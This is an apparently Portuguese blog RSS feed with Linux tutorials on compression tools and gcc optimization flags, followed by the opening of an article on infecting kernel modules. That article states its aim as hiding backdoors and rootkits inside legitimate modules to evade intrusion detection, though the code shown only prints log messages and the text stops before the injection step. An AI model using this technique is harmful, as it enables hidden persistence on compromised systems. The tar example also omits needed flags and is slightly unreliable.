<p><strong>$ gunzip nomedoarquivo.gz</strong></p>
<p>Ou então o comando:</p>
<p><strong>$ gzip -d nomedoarquivo.gz</strong></p>
<p>Comprimir com o bzip2 é semelhante ao gzip. Basta usar o comando:</p>
<p><strong>$ bzip2 nomedoarquivo</strong></p>
<p>Assim como o gzip, o bzip2 também substitui o arquivo original pelo arquivo comprimido.</p>
<p>Para descompactar um arquivo bz, você pode usar o comando:</p>
<p><strong>$ bzip2 -d nomedoarquivo.bz2</strong></p>
<p>Ou então:</p>
<p><strong>$ bunzip2 nomedoarquivo.bz2</strong></p>
<p>Como o processo de utilização do gzip e do bzip2 são semelhantes, fica fácil aprender os dois. Basta praticar com algum arquivo, duas ou três vezes para pegar o jeito.</p>
<p>Você também pode usar o utilitário zip para compactar arquivos. O que pode ser bem útil se você quiser compartilhar arquivos com pessoas que não usam Linux. Para compactar arquivos com o zip, use um comando:</p>
<p><strong>$ zip arquivos.zip arquivo1 arquivo2 arquivo3</strong></p>
<p>Esse comando irá não só comprimir os arquivos (arquivo1, arquivo2 e arquivo3), mas irá armazená-los num arquivo chamado arquivos.zip. Ou seja, além de comprimir, ele arquiva.</p>
<p>Para extrair arquivos zip, use o comando:</p>
<p><strong>$ unzip arquivos.zip</strong></p>
<h4>Compactando arquivos tar</h4>
<p>Lembre-se que o  TAR não comprime, ele apenas arquiva. Já o ZIP comprime e também arquiva.</p>
<p>Isso quer dizer que depois que você criar um arquivo tar, seu tamanho é o mesmo que o tamanho da soma dos arquivos originais.</p>
<p>Para reduzir o tamanho de um arquivo tar, você precisa compactá-lo com gzip ou bzip2:</p>
<p>Exemplo:</p>
<p><strong>$ tar arquivos.tar arquivo1 arquivo2 arquivo3<br />
$ gzip arquivos.tar</strong></p>
<p>O primeiro comando irá arquivar os arquivos (arquivo1, arquivo2 e arquivo3) em um arquivo chamado arquivos.tar.</p>
<p>O segundo comando irá comprimir o arquivo.tar e o substituirá por arquivos.tar.gz. Você também pode usar o bzip para compactar arquivos tar.</p>
<p>Como se extrai arquivos a partir de um arquivo tar compactado? Use o comando:</p>
<p><strong>$ tar -zxvf arquivos.tar.gz</strong></p>
<p>Para extrair todos os arquivos gzip a partir de um arquivo tar compactado. O parâmetro -z informa que o arquivo tar foi comprimido usando o gzip.</p>
<p>E se o arquivo tar foi comprimido com bzip? Nesse caso o comando é outro, na verdade o que muda em relação ao comando anterior é uma letra: ao invés de usar -z use -j, por exemplo, para descompactar um arquivo tar que foi comprimido com o bzip:</p>
<p><strong>$ tar -jxvf arquivos.bz2</strong></p>
<p>Você pode ainda encontrar arquivos tar compactados com tgz e tbz2. Estes formatos na verdade são os mesmos de tar.gz e tar.bz2, respectivamente.</p>
<p>Bem, é isso.</p>
<p>Caso perceba algum erro, por favor, me corrija. Também aceito críticas construtivas e informações complementares.</p>
<p>Obrigado pela atenção.</p>
<p>=)</p>
<p><a href="http://www.vivaolinux.com.br/artigos/verArtigo.php?codigo=8373" target="_blank">Fonte</a></p>
<p><a href="http://linuxstyle.blogspot.com/" target="_blank">Autor:Xerxes Lins</a></p>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/0x66.wordpress.com/26/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/0x66.wordpress.com/26/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/0x66.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/0x66.wordpress.com/26/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/0x66.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/0x66.wordpress.com/26/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/0x66.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/0x66.wordpress.com/26/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/0x66.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/0x66.wordpress.com/26/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/0x66.wordpress.com/26/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/0x66.wordpress.com/26/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0x66.wordpress.com&blog=3859187&post=26&subd=0x66&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://0x66.wordpress.com/2008/06/20/compactacao-de-arquivos-no-linux/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">VonNaturAustreVe</media:title>
		</media:content>
	</item>
		<item>
		<title>Otimização de Executáveis com o gcc</title>
		<link>http://0x66.wordpress.com/2008/06/20/otimizacao-de-executaveis-com-o-gcc/</link>
		<comments>http://0x66.wordpress.com/2008/06/20/otimizacao-de-executaveis-com-o-gcc/#comments</comments>
		<pubDate>Fri, 20 Jun 2008 05:53:21 +0000</pubDate>
		<dc:creator>VonNaturAustreVe</dc:creator>
				<category><![CDATA[hardware]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[programação]]></category>
		<category><![CDATA[assembly]]></category>
		<category><![CDATA[gcc]]></category>
		<category><![CDATA[linguagem C]]></category>

		<guid isPermaLink="false">http://0x66.wordpress.com/?p=24</guid>
		<description><![CDATA[Otimização de Executáveis com o gcc,explicações e definições.

Recentemente um amigo me perguntou sobre “como eu faço para deixar um executável mais rápido no Linux” ,isso me intrigou,não conhecia muito sobre isso então comecei-a  pesquisar mais sobre a otimização de executáveis ,encontrei muitas informações é irei apresenta-la em um tutorial,para ficarem mais claras.
O GCC é [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0x66.wordpress.com&blog=3859187&post=24&subd=0x66&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p class="western" style="margin-bottom:0;"><strong>Otimização de Executáveis com o gcc,explicações e definições.</strong></p>
<p class="western" style="margin-bottom:0;">
<p class="western" style="margin-bottom:0;">Recentemente um amigo me perguntou sobre “como eu faço para deixar um executável mais rápido no Linux” ,isso me intrigou,não conhecia muito sobre isso então comecei-a  pesquisar mais sobre a otimização de executáveis ,encontrei muitas informações é irei apresenta-la em um tutorial,para ficarem mais claras.</p>
<p class="western" style="margin-bottom:0;"><span id="more-24"></span>O GCC é o melhor compilador que existe(sem duvida nenhuma),ele é composto por ferramentas de compilação,assembler e de linkagem,sua função é produzir executáveis prontos parar “rodar” em um formato aceito pelo SO(as formas de execução é a estrutura de um binário variam de acordo com o SO),o seu modo de operação se divide em  4(quatro) etapas,em geral executadas em seqüência e automaticamente pelo compilador:</p>
<p class="western" style="margin-bottom:0;">
<ul>
<li>
<p class="western" style="margin-bottom:0;"><strong>Preprocessamento:</strong><span>Nesta 	etapa ocorre a produção do código que já 	não possui diretivas,coisas como “#if” não podem 	ser entendidos diretamente pelo compilador,portanto,será 	traduzida para o código da maquina.</span></p>
</li>
</ul>
<ul>
<li>
<p class="western" style="margin-bottom:0;"><strong>Compilação:</strong><span>passo 	em que o compilador traduz o programa em texto para um arquivo </span><em><span>objeto</span></em><span style="font-style:normal;"><span>,o 	qual contém todas as referências de códigos e 	bibliotecas utilizadas.</span></span></p>
</li>
<li>
<p class="western" style="margin-bottom:0;"><strong><span style="font-style:normal;">Assembler:</span></strong><span style="font-style:normal;"><span>Aceita 	os assembly mnemônicos é produz o código 	contendo opcodes.É comum o equivocos causados pelo 	compilador,como não produzir os opcodes,o estágio de 	assembler “limpa sujeira” causa pelo compilador.</span></span></p>
</li>
<li>
<p class="western" style="margin-bottom:0;"><span style="font-style:normal;"><strong>Linkagem:</strong></span><span style="font-style:normal;"><span>nome 	adaptado do inglês,linking,que transforma um arquivo objeto em 	executável,preenchendo todas as referências e gerando o 	código completo.</span></span></p>
</li>
</ul>
<p class="western" style="margin-bottom:0;">
<p class="western" style="margin-bottom:0;"><span style="font-style:normal;"><span> Agora que conhecemos um pouco mais sobre o funcionamento do GCC(recomendo o bom é velho man gcc,para mais informações),vamos ao oque interessa,as otimizações do executável.</span></span></p>
<p class="western" style="margin-bottom:0;">
<p class="western" style="margin-bottom:0;"><strong><span style="font-style:normal;">Obs:</span></strong><span style="font-style:normal;"><span>É importante verificar a sua versão do gcc,pois nem todas as flags do gcc 3.x funcionam no gcc 2.x,então é importante saber as flags que a sua versão do gcc suporta.</span></span></p>
<p class="western" style="margin-bottom:0;">
<p class="western" style="margin-bottom:0;"><strong><span style="font-style:normal;">Para saber a versão de GCC, digite:</span></strong><span style="font-style:normal;"><span> </span></span></p>
<pre><em>$ gcc --version</em> ou gcc -v</pre>
<p class="western" align="left">
<p class="western" align="left"><strong>Para saber informação sobre o processador:</strong></p>
<pre><em>$ cat /proc/cpuinfo</em></pre>
<p class="western" style="margin-bottom:0;"><span style="font-style:normal;"><span> </span></span></p>
<p class="western" style="margin-bottom:0;"><span style="font-style:normal;"><span>Agora com as informações sobre o processador é a versão do gcc podemos dar continuidade.</span></span></p>
<p class="western" style="margin-bottom:0;">
<h4 class="western"><strong><span style="font-size:medium;">O que são CFLAGS?</span><span style="font-style:normal;"><span> </span></span></strong></h4>
<p class="western">
<p class="western"><span style="font-style:normal;"><span> CFLAGS são flags do compilador C, geralmente opções do GCC (GNU Compiler Collection). CFLAGS podem ser usadas para customizar e otimizar aplicações quando você as constrói pelos fontes. (Esta é uma importante característica de algumas distribuições,como o gentoo ,já que a maioria dos pacotes são instalados a partir do código-fonte nestes).</span></span>CFLAGS são geralmente usadas para especificar a arquitetura de seu computador, bem como o tipo de CPU usada e qualquer outra opção especial que se queira habilitar ou desabilitar. Esta informação é importante para o GCC diz a ele exatamente como customizar as instruções de montagem que ele cria através do código-fonte da aplicação. Tecnicamente o GCC pode rodar sem nenhuma CFLAG, já que são opções extra.</p>
<p class="western">
<h4 class="western"><span style="font-style:normal;"><strong>Otimizações Básicas (seguras)</strong></span></h4>
<p class="western"><span style="font-style:normal;"><span>Existem diversas opções de otimização básicas consideradas seguras para o uso geral. A primeira delas é -O (letra, não número). Para ver exatamente quais flags de otimização são habilitadas a cada um dos níveis de otimização, bem como uma lista de outras otimizações que podem ser habilitadas, por favor leia a man page do GCC.</span></span></p>
<p class="western"><span style="font-style:normal;"><strong>-O</strong></span><span style="font-style:normal;"><span> </span></span></p>
<p class="western">-O liga algumas otimizações básicas que não causam grande impacto na velocidade de compilação, e vão aumentar consideravelmente a velocidade do seu sistema. Apesar que não há muita razão para usar -O ao invés de -O2.</p>
<h4 class="western"><strong><span style="font-style:normal;">-O2</span></strong><span style="font-style:normal;"><span> </span></span></h4>
<p class="western">-O2 liga todas as otimizações de -O e todas as outras otimizações que não aumentam muito o tamanho dos binários gerados ou interferem no debugging. -O2 é ainda melhor que -O, e geralmente tão seguro quanto. Este é o nível de otimização mais usado para pacotes e distribuições no mundo Linux e para o kernel Linux. Se você quer um sistema que &#8220;apenas funcione&#8221;, -O2 provavelmente é bom pra você.</p>
<h4 class="western"><strong><span style="font-style:normal;">-O3</span></strong><span style="font-style:normal;"><span> </span></span></h4>
<p class="western">-O3 liga todas as otimizações de -O2 e ainda algumas otimizações que aumentam o tamanho dos binários gerados além de tornar o debugging mais difícil ou até mesmo impossível. Usar -O3 como deu nível default de otimização pode ser uma má idéia.</p>
<p class="western">-O3 é o nível de otimização mais alto e possivelmente torna o código mais rápido mas as aplicações que se beneficiam disto são muito poucas, geralmente decoders de vídeo e imagem e coisas do tipo. Entretando, os efeitos colaterais, como binários maiores, afetam tudo. Binários maiores ocupam mais memória, carregam mais devagar, causam mais I/O de disco, etc. Então compilar um sistema com -O3 vai ter o efeito de poucas aplicações rodando ligeiramente mais rápidas ao custo do resto do sistema rodando ligeiramente mais devagar e se tornando menos responsivo.</p>
<p class="western">O Linux armazena regularmente programas e arquivos na RAM (este é a parte &#8220;cache&#8221; quando você executa <tt>free -m</tt> ), então os programas podem precisar carregar do disco rígido apenas uma vez (dependendo do programa e computador usado). Portanto este é menos um problema em sistemas com grande quantidade de RAM. Um sistema com grande quantidade de cache de CPU também ajuda já que se ajusta melhor a binários maiores, então você acaba notando maior velocidade neles. Então, se você tem um sistema topo-de-linha, você sofrerá menos de problemas associados com -O3.</p>
<p class="western">
<h4 class="western"><strong>-Os</strong></h4>
<p class="western">-Os otimiza para tamanho. -Os habilita todas as otimizações de -O2 que geralmente não aumentam o tamanho do código e executa ainda mais otimizações desenvolvidas para reduzir o tamanho do código.</p>
<p class="western">-Os é muito útil para aplicações grandes, como o Firefox,KDE,openoffice, já que vai reduzir o tempo de carregamento, uso de memória e cache, uso de disco etc. Código compilado com -Os pode ser mais rápido que com -O2 ou -O3 por causa disso. Também é recomendado para computadores velhos com pouca quantidade de RAM, espaço em disco ou cache de CPU. Mas esteja avisado que -Os não está tão bem testado quanto -O2 e pode levar a bugs de compilação.</p>
<p class="western">Note que apenas uma das flags acima pode ser escolhida. Se você escolher mais de uma, só a última especificada terá efeito.</p>
<h4 class="western"><strong>-fomit-frame-pointer</strong></h4>
<p class="western">
<p class="western">-fomit-frame-pointer diz ao gcc para omitir frame pointers, liberando um registrador adicional na CPU. Isto é principalmente útil em x86 já que a maioria das arquiteturas, como AMD64, tem isso por default em -O2 ou superior, apesar de o tamanho dos binários poder aumentar ligeiramente. Esta flag quebra o debugging em x86 e possivelmente outras arquiteturas a menos que você compile com gcc 4.x e a flag -fvar-tracking.</p>
<p class="western">Glibc tem uma flag <a href="http://gentoo-portage.com/USE">USE</a>: <strong><span style="color:#800000;">glibc-omitfp</span></strong>. Isto faz a glibc usar -fomit-frame-pointer e algumas outras otimizações para o pacote quando for seguro. Para ler mais sobre otimizar a glibc tente este <a href="http://gentoo-wiki.com/HOWTO_Optimise_glibc#Enabling_further_optimizations">HOWTO</a></p>
<h4 class="western"><strong>-march=&lt;sua_arquitetura&gt;</strong></h4>
<p class="western">
<p class="western">-march dis ao gcc para otimizar para uma certa arquitetura. Basicamente, você apenas precisa saber qual é a sua CPU, e o código GCC para ela. Lembre-se de que esta flag quebra compatibilidade com outras arquiteturas!</p>
<p class="western">Esta flag toma a seguinte forma:</p>
<p class="western">
<pre style="margin-bottom:0.5cm;">-march=pentium4</pre>
<p class="western">Obviamente você substituirá pentium4 pelo código correspondente.</p>
<p class="western">Aqui segue uma lista <strong>incompleta</strong> de arquiteturas x86 válidas que podem ser usadas com a flag -march:</p>
<p class="western">i386, i486, i586, i686, pentium, pentium-mmx, pentiumpro, pentium2, pentium3, pentium-m, pentium4, prescott, k6, k6-2, k6-3, k8, athlon, athlon-tbird, athlon-4, athlon-xp, athlon-mp, athlon64, opteron, winchip-c6, winchip2, c3.</p>
<p class="western">Caso esteja usando o gcc 4.2 é mais facil e provavelmente(caso não saiba qual a flag mais aproprida) usar:</p>
<p class="western">
<p class="western">-march=native</p>
<p class="western">
<p class="western">Com isso o gcc ira auto-detectar</p>
<p class="western">Cheque o  <a href="http://gcc.gnu.org/onlinedocs/">gcc manual</a> para um alista completa (em <strong>Hardware Models and Configurations</strong>).</p>
<p class="western"><strong>Note</strong>: &#8220;-march&#8221; implica &#8220;-mtune&#8221; (veja a man page do gcc).</p>
<h4 class="western"><strong>-mtune=/-mcpu=&lt;sua_arquitetura&gt;</strong></h4>
<p class="western">
<p class="western">-mtune, ou -mcpu em versões antigas do GCC, é similar ao -march e aceita as mesmas opções. Diferente de -march ele não quebra compatibilidde com outras arquiteturas. As opções de -march e -mtune/-mcpu podem ser misturadas para alcançar o efeito desejado. Se você não vai compartilhar seus binários com outros computadores você não precisa desta flag e deve utilizar apenas uma flag -march apropriada. As exceções são arquiteturas como PPC onde -march não está disponível. Veja o <a href="http://gentoo-wiki.com/Safe_Cflags">Guia de CFLAGs Seguras</a> para mais informações.</p>
<p class="western"><a href="http://gcc.gnu.org/onlinedocs/gcc/i386-and-x86_002d64-Options.html">Documentação do GCC sobre -march e -mcpu/-mtune</a></p>
<h4 class="western"><strong>-pipe</strong></h4>
<p class="western">
<p class="western">A última e mais comum flag é a opção &#8216;-pipe&#8217;. A opção pipe diz ao GCC para não criar arquivos temporários quando compilando, e ao invés disso canalizar (pipe) dados diretamente para a próxima função, o que salva algum tempo de compilação. Esteja avisado que usar -pipe vai fazer o GCC usar mais RAM então não use se isto se você tiver pouca.</p>
<p class="western">
<h2 class="western"><strong><span style="font-size:medium;">CFLAGS comuns para desenvolvedores</span></strong></h2>
<p class="western">
<dl>
<dt><strong>-Wall</strong></dt>
<dd> Isto habilita todos os avisos sobre construções que 	alguns usuários consideram questionáveis, e que são 	fáceis de evitar (ou modificar para prevenir o aviso), mesmo 	em conjunção com macros. </dd>
<dt><strong> -Wextra</strong></dt>
<dd> Imprime avisos extras </dd>
<dt><strong> -Werror</strong></dt>
<dd> Transforma avisos em erros, e então o GCC irá 	interromper a compilação após o aviso (porque 	se tornou um erro). </dd>
<dt><strong> -ggdb</strong></dt>
<dd> Inclui toda a informação de debugging possível 	no binário gerado que é útil para gdb. </dd>
</dl>
<p class="western">
<p class="western">Segue abaixo uma tabela com as diferenças técnicas entre O1,O2,O3.</p>
<p class="western"><a href="http://0x66.files.wordpress.com/2008/06/7269t1.png"><img class="alignnone size-full wp-image-23" src="http://0x66.files.wordpress.com/2008/06/7269t1.png?w=385&#038;h=745" alt="" width="385" height="745" /></a></p>
<p class="western" style="margin-bottom:0;"><span style="font-style:normal;"><span>Agora sinta-se a vontade para testar as otimizações.</span></span></p>
<p class="western" style="margin-bottom:0;">
<p class="western" style="margin-bottom:0;"><strong><span style="font-style:normal;"><span>Fontes:</span></span></strong></p>
<p class="western" style="margin-bottom:0;"><a href="http://docs.freebsd.org/info//gcc/gcc.info.Optimize_Options.html" target="_blank"><span style="font-style:normal;"><span>http://docs.freebsd.org/info//gcc/gcc.info.Optimize_Options.html </span></span></a></p>
<p class="western" style="margin-bottom:0;"><a href="http://www.linuxjournal.com/article/7269" target="_blank"><span style="font-style:normal;"><span>http://www.linuxjournal.com/article/7269 </span></span></a></p>
<p class="western" style="margin-bottom:0;"><a href="http://psydesk.blogspot.com/2007/01/cflag-otimizando-sua-compilao-no-linux.html" target="_blank"><span style="font-style:normal;"><span>http://psydesk.blogspot.com/2007/01/cflag-otimizando-sua-compilao-no-linux.html </span></span></a></p>
<p class="western" style="margin-bottom:0;"><a href="http://www.bestlinux.com.br/index.php?option=com_content&amp;task=view&amp;id=1674&amp;Itemid=127&amp;limit=1&amp;limitstart=0" target="_blank"><span style="font-style:normal;"><span>http://www.bestlinux.com.br/index.php?option=com_content&amp;task=view&amp;id=1674&amp;Itemid=127&amp;limit=1&amp;limitstart=0 </span></span></a></p>
<p class="western" style="margin-bottom:0;"><a href="http://gentoo-wiki.com/Safe_Cflags#Safe_CFLAGS_to_use_for_Gentoo" target="_blank"><span style="font-style:normal;"><span>http://gentoo-wiki.com/Safe_Cflags#Safe_CFLAGS_to_use_for_Gentoo </span></span></a></p>
<p class="western" style="margin-bottom:0;"><a href="http://gentoo-wiki.com/Safe_Cflags#Safe_CFLAGS_to_use_for_Gentoo" target="_blank"><span style="font-style:normal;"><span>http://www.700km.com.br/mundobizarro/gccopt.php </span></span></a></p>
<p class="western" style="margin-bottom:0;"><span style="font-style:normal;"><span><a href="http://www.onlamp.com/pub/a/onlamp/2007/04/03/getting-familiar-with-gcc-parameters.html">http://www.onlamp.com/pub/a/onlamp/2007/04/03/getting-familiar-with-gcc-parameters.html</a> </span></span></p>
<p class="western" style="margin-bottom:0;">
<p class="western" style="margin-bottom:0;"><span style="font-style:normal;"><span>[]&#8217;s</span></span></p>
<img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/0x66.wordpress.com/24/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/0x66.wordpress.com/24/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/0x66.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/0x66.wordpress.com/24/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/0x66.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/0x66.wordpress.com/24/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/0x66.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/0x66.wordpress.com/24/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/0x66.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/0x66.wordpress.com/24/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/0x66.wordpress.com/24/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/0x66.wordpress.com/24/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0x66.wordpress.com&blog=3859187&post=24&subd=0x66&ref=&feed=1" /></div>]]></content:encoded>
			<wfw:commentRss>http://0x66.wordpress.com/2008/06/20/otimizacao-de-executaveis-com-o-gcc/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
	
		<media:content url="" medium="image">
			<media:title type="html">VonNaturAustreVe</media:title>
		</media:content>

		<media:content url="http://0x66.files.wordpress.com/2008/06/7269t1.png" medium="image" />
	</item>
		<item>
		<title>LKM Code Injection</title>
		<link>http://0x66.wordpress.com/2008/06/19/lkm-code-injection/</link>
		<comments>http://0x66.wordpress.com/2008/06/19/lkm-code-injection/#comments</comments>
		<pubDate>Thu, 19 Jun 2008 23:40:38 +0000</pubDate>
		<dc:creator>VonNaturAustreVe</dc:creator>
				<category><![CDATA[linux]]></category>
		<category><![CDATA[pentest]]></category>
		<category><![CDATA[programação]]></category>
		<category><![CDATA[linguagem C]]></category>
		<category><![CDATA[lkm]]></category>

		<guid isPermaLink="false">http://0x66.wordpress.com/?p=21</guid>
		<description><![CDATA[=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-[04]-=[LKM Code Injection]=-&#124;tDs&#124;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
&#8211;=[ Introducao
Melhor que conseguir elevar  privilegios em um sistema e deixar um LKM
nosso, com backdoors, rootkits, ou o que for, e&#8217; colocar isso tudo em um LKM do
sistema. Desta forma, a deteccao de rastros de uma intrusao fica um pouco mais
dificil.
Neste pequeno texto, veremos de maneira clara (eu espero) como podemos
infectar  um LKM,  [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=0x66.wordpress.com&blog=3859187&post=21&subd=0x66&ref=&feed=1" />]]></description>
			<content:encoded><![CDATA[<div class='snap_preview'><br /><p>=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<br />
=-[04]-=[LKM Code Injection]=-|tDs|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=<br />
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=</p>
<p>&#8211;=[ Introducao</p>
<p>Melhor que conseguir elevar  privilegios em um sistema e deixar um LKM<br />
nosso, com backdoors, rootkits, ou o que for, e&#8217; colocar isso tudo em um LKM do<br />
sistema. Desta forma, a deteccao de rastros de uma intrusao fica um pouco mais<br />
dificil.</p>
<p>Neste pequeno texto, veremos de maneira clara (eu espero) como podemos<br />
infectar  um LKM,  adicionando mais funcoes ou modificando-as,  da maneira que<br />
acharmos uteis ao nossos objetivos.</p>
<p>O assunto pode parecer um pouco complexo para iniciantes, entretanto o<br />
que e&#8217; tratado e&#8217; somente o basico. Entao, se ja possui um conhecimento do as-<br />
sunto, e&#8217; mais proveitoso procurar por algo mais avancado para leitura. Conhe-<br />
cimento previo sobre a escrita de LKM e bem-vindo, embora nao seja indispensa-<br />
vel.  Exemplos e citacoes sao feitos  tendo em mente o kernel do GNU/linux,<br />
2.4.x.</p>
<p><span id="more-21"></span>&#8211;=[ O que sao LKMs</p>
<p>LKMs sao &#8220;pedacos&#8221; do kernel, que podem ser carregados e descarregados<br />
dinamicamente, aumentando (ou diminuindo) a gama de opcoes e funcionalidades que<br />
sao disponibilizadas pelo kernel do sistema. Por ser carregado sob demanda, ou<br />
seja, nao esta embutido no proprio kernel, LKMs tem diversas vantagens a codigo<br />
escritos diretamente no kernel. Entre elas temos:</p>
<p>- Economia de memoria: Pelo fato de ser carregada somente quando necessario,<br />
nao existe desperdicio de memoria com funcoes que nao sao utilizadas constan-<br />
temente;<br />
- Facilidade na compilacao e debug: LKMs apos carregadas sao parte do kernel,<br />
entretanto nao precisam ser compiladas junto com ele. Podem ser escritos e<br />
compilados a qualquer momento. Quando se tem problemas com o codigo, e&#8217; possi-<br />
vel fazer um debug dele com facilidade muito maior do que se o codigo estives-<br />
se embutido no kernel. E&#8217; mais rapido descarregar o modulo, modificar o codigo,<br />
recompilar e recarregar o modulo do que reescrever a parte do codigo que esta<br />
no kernel, recompilar tudo e reiniciar o computador!<br />
- Novos drivers podem ser testados sem precisar reiniciar o sistema. E sao em<br />
drivers que iremos nos concentrar.</p>
<p>&#8211;=[ Inicio &#8211; Primeiros Exemplos</p>
<p>A forma mais simples de entender como funciona e&#8217; com exemplos. Inicial-<br />
mente,  criamos um modulo chamado driver_original.o,  que sera o exemplo usado<br />
como modulo do sistema, que futuramente sera infectado:</p>
<pre>&lt;++&gt; lkm_injection/driver_original.c
/*
 * Simples exemplo de um lkm que nao faz nada,
 * mas poderia ser, por exemplo, um driver de
 * uma placa de rede.
 * Compile com $gcc -O3 -c driver_original.c
*/

#define MODULE
#define __KERNEL__

#include &lt;linux/kernel.h&gt;
#include &lt;linux/module.h&gt;

static int __init inicio(void)
{
  printk ("&lt;1&gt; Iniciando driver_original \n");
  printk ("&lt;1&gt; Executando funcoes iniciais\n");   
  printk ("&lt;1&gt; Modulo carregado e aguardando chamada a suas funcoes\n\n");
  return 0;
}

static void __exit fim(void)
{
  printk ("&lt;1&gt; Finalizando modulo orignal \n");
}

module_init(inicio);
module_exit(fim);
MODULE_LICENSE("GPL");
&lt;--&gt; lkm_injection/driver_original.c</pre>
<p>Antes de carregar o modulo,  e&#8217; interessante ter o syslogd funcionando<br />
corretamente e com a seguinte linha no seu arquivo de configuracao (normalmente<br />
/etc/syslog.conf):</p>
<pre>    kern.alert   /var/log/alert</pre>
<p>Dessa forma poderemos observar melhor as mensagens que serao emitidas  pelo mo-<br />
dulo. Apos isso, compile o codigo e carregue o modulo:</p>
<pre>    #gcc -O3 -c driver_original.c
    #insmod driver_original.o</pre>
<p>As opcoes passadas para o gcc sao:</p>
<p>||  -O3: Optimize yet more.  -O3 turns on all optimizations specified<br />
|| by -O2 and also turns on the -finline-functions and -frename-registers<br />
|| options. (E&#8217; uma opcao para otimizacao do objeto criado pelo gcc.).<br />
||<br />
||  -c: Compile or assemble the source files, but do not link.  The linking<br />
|| stage simply is not done. The ultimate output is in the form of an object<br />
|| file for each source file.</p>
<p>As seguintes mensagens devem aparecer em &#8216;/var/log/alert&#8217; (ou nao, elas<br />
ainda podem aparecer em outro arquivo de log, sinistramente):</p>
<p>Nov 14 17:24:57 matrix kernel:  Iniciando driver_original<br />
Nov 14 17:24:57 matrix kernel:  Executando funcoes iniciais<br />
Nov 14 17:24:57 matrix kernel:  Modulo carregado e aguardando chamada a<br />
suas funcoes</p>
<p>Com o driver (pseudo-driver que faz absolutamente nada mais do que exi-<br />
bir mensagens) criado, podemos agora criar o modulo que contem o codigo que se-<br />
ra injetado no driver_original.o:</p>
<pre>&lt;++&gt; lkm_injection/infector.c
/*
 * Simples exemplo de modulo (note que tem apenas a funcao init_module, ou
 * seja, so executa alguma funcao durante o carregamento dele), que sera
 * utilizado para ser injetado em um outro modulo.
*/

#define MODULE
#define __KERNEL__

#include &lt;linux/kernel.h&gt;
#include &lt;linux/module.h&gt;

int init_module(void)
{
  printk ("&lt;1&gt; Iniciando funcoes do modulo injetado\n");
  return 0;
}
&lt;--&gt;lkm_injection/infector.c</pre>
<p>Observe que o modulo anterior possui apenas uma funcao, a init_module.<br />
Essa funcao e&#8217; a equivalente a &#8220;main()&#8221; em um programa em C comum,  ou seja, e&#8217;<br />
a primeira funcao a ser executada na execucao do modulo, que no caso e&#8217; o car-<br />
regamento dele. Como deve imaginar, existe tambem uma funcao executada logo an-<br />
tes do descarregamento do modulo.  Essa funcao e&#8217; a &#8220;cleanup_module()&#8221;.</p>
<p>Compile o codigo e carregue o modulo:</p>
<pre>    #gcc -O3 -c infector.c
    #insmod infector.o</pre>
<p>A seguinte mensagem deve aparecer em &#8216;/var/log/alert&#8217;:</p>
<p>Nov 14 17:36:29 matrix kernel:  Iniciando funcoes do modulo injetado</p>
<p>Por enquanto, tudo que temos sao dois modulos separados (note que a uni-<br />
ca coisa que os modulos estao fazendo ate agora e&#8217; exibir mensagens no arquivo<br />
de log. Leve em conta o seguinte:</p>
<p>- As funcoes do driver_original.o ja existem, como codigo do modulo do sistema<br />
que futuramente sera infectado. Poderiamos estar usando como exemplos o codigo<br />
de um driver real, mas isso apenas complicaria de forma desnecessaria a explana-<br />
cao de como podemos efetuar a infeccao;<br />
- As nossas funcoes &#8211; backdoors, rootkits, etc &#8211; serao adicionadas em breve<br />
(por voce, obvio, apenas sera mostrado que e&#8217; possivel fazer e como poderia<br />
ser feito).</p>
